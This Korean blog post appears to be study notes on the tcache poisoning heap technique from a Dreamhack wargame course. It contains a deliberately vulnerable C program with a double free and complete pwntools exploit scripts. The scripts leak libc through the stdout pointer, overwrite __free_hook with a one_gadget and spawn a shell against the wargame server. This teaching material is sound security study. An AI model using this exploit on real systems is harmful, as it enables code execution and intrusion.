[Exploit Tech: Tcache Poisoning]
1. Tcache Poisoning
1) Tcache Poisoning
- tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법
- 중복으로 연결된 청크를 재할당하면, 그 청크가 해제된 청크인 동시에, 할당된 청크라는 특징을 이용한 공격
- 이런 중첩 상태를 이용하면, 임의 주소에 청크를 할당할 수 있으며, 그 청크를 이용하여 임의 주소의 데이터를 읽거나 조작할 수 있음
- 실습 코드
// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
2. 분석 및 설계
1) 보호 기법
- 코드를 컴파일하고 checksec으로 보호 기법 확인
- NX와 FULL RELRO 보호 기법이 적용되어 있음
-> 훅을 덮는 공격을 고려해볼 수 있음
2) 코드 분석
case 2:
free(chunk);
break;
- 청크를 해제하는 case 2 부분을 보면, 청크를 해제하고 chunk 포인터를 초기화하지 않으므로, 이를 다시 해제하는 것이 가능
- 즉, Double Free 취약점이 존재함
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
- chunk 포인터를 초기화하지 않았으므로 해제된 청크르이 데이터를 case 4에서 조작할 수 있음
- 이를 이용하면 Double Free 와 관련된 보호 기법을 우회할 수 있을 것
3) 익스플로잇 설계
- 익스플로잇 목표 : 훅을 덮어서 실행 흐름을 조작하고, 결과적으로 셸을 획득하는 것
- 임의 주소 읽기로 libc가 매핑된 주소를 알아내고, 임의 주소 쓰기로 해당 주소에 one_gadget 주소를 덮어쓰면 될 것
- 코드에 Double Free 취약점이 있고, 관련된 우회기법을 우회하는 것도 가능하므로 Tcache Poisonin을 사용하면 될 것
① Tcache Poisoning
- 임의 주소 읽기 및 쓰기를 위해 사용
- 관련 보호 기법이 없으므로 적당한 크기의 청크를 할당하고, key를 조작한 뒤, 다시 해제하면 Tcache Duplication이 가능
- 그 상태에서, 다시 청크를 할당하고 원하는 주소를 값으로 쓰면 tcache에 임의 주소를 추가할 수 있음
② Libc leak
- 코드를 살펴보면 setvbuf 함수에 인자로 stdin과 stdout을 전달하는데, 이 포인터 변수들은 각각 libc 내부의 I0_2_1_stdin과 I0_2_1_stdout을 가리킴
- 따라서 이 중 한 변수의 값을 읽으면 그 값을 이용하여 libc의 주소를 계산할 수 잇음
- 이 포인터들은 전역 변수로서 bss에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 잇음
- 따라서 Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것
③ Hook overwrite to get shell
- Libc가 매핑된 주소를 구했다면, 그로부터 one_gadget의 주소와 __free_hook의 주소를 계산할 수 있음
- 다시 tcache poisoning으로 __free_hook에 청크를 할당하고, 그 청크에 적절한 one_gadget 주소를 입력하면 free를 호출하여 셸을 획득할 수 있을 것
3. 익스플로잇
1) Tcache Poisoning
- pwntool로 Double Free를 일으키고 Tcache Poisoning으로 0x4141414141414141을 tcache에 추가하자
- 그 상태에서 0x30 크기의 청크를 두번 할당하여 공격이 성공했는지 확인할 수 있다
- 아래 처럼 프로세스가 SIGSEGV로 종료되면 성공한 것
# Name: tcache_poison.py
#!/usr/bin/python3
from pwn import *
p = process("./tcache_poison")
e = ELF("./tcache_poison")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append "0x4141414141414141" to tcache[0x40]
alloc(0x30, "AAAAAAAA")
p.interactive()
2) Libc leak
- Tcache Poisoning으로 stdout의 주소에 청크를 할당하고, 값을 읽어서 libc가 매핑된 주소 및 one_gadget과 __free_hook의 주소를 계산하자
- 여기서, stdout은 표준 출력과 관련된 중요한 포인터 변수이므로, 그 값을 변경하지 않도록 주의해야 한다
# Name: tcache_poison.py
#!/usr/bin/python3
from pwn import *
p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "BBBBBBBB") # "dreamhack"
alloc(0x30, "\x60") # stdout
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
slog("free_hook", fh)
slog("one_gadget", og)
3) Hook overwrite to get shell
- 앞서 계산한 __free_hook의 주소에 Tcache Poisoning으로 청크를 할당하고, one_gadget의 주소를 덮어쓰면, free를 호출하여 셸을 획득할 수 있다
- 주의할 점은, 앞서 오염시킨 tcache[0x40]을 재사용해서는 안된다는 것
- Tcache Poisoning으로 stdout에 청크를 할당받을 때, stdout의 fd는 _IO_2_1_stdout_이었다
- 따라서 이 상태에서 0x30 크기로 다시 할당 요청하면, _IO_2_1_stdout_에 청크를 할당받게 된다
- 해당 구조체는 표준 출력과 관련하여 중요한 역할을 하므로, 임의로 값을 조작해서는 안된다
- 이런 경우에는, 다른 크기의 tcache를 대상을 공격을 시도하는 게 좋다
- 위의 유의사항을 참고하여 Tcache Poisoning으로 __free_hook을 조작하고 free를 호출하여 셸을 획득하라
[Wargame : Tcache Poisoning]
c코드를 살펴보니 앞에서 함께 실습했던 코드랑 동일한 내용이다.
자세한 내용은 앞서 설명했으므로 생략하고 드림핵 포트와 연결해주는 부분을 추가해주었다.
이렇게 완성한 익스플로잇 코드는 아래와 같다.
from pwn import *
p = remote("host1.dreamhack.games", 23337)
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "BBBBBBBB") # "dreamhack"
alloc(0x30, "\x60") # stdout
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
slog("free_hook", fh)
slog("one_gadget", og)
# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()
alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))
# Call `free()` to get shell
free()
p.interactive()
작성한 익스플로잇 코드를 실행시키니
셸 획득에 성공하여 ls로 파일을 확인한 뒤 cat으로 flag 내용을 확인할 수 있었다.
'Security > System Hacking' 카테고리의 다른 글
[Dreamhack System Hacking] STAGE 12 - tcache_dup (0) | 2022.04.05 |
---|---|
[Dreamhack System Hacking] STAGE 12 - tcache_dup2 (0) | 2022.04.05 |
[Dreamhack System Hacking] STAGE 12 (0) | 2022.04.05 |
[Dreamhack System Hacking] STAGE 11 - 함께실습 (0) | 2022.04.01 |
[Dreamhack System Hacking] STAGE 11 (0) | 2022.04.01 |
댓글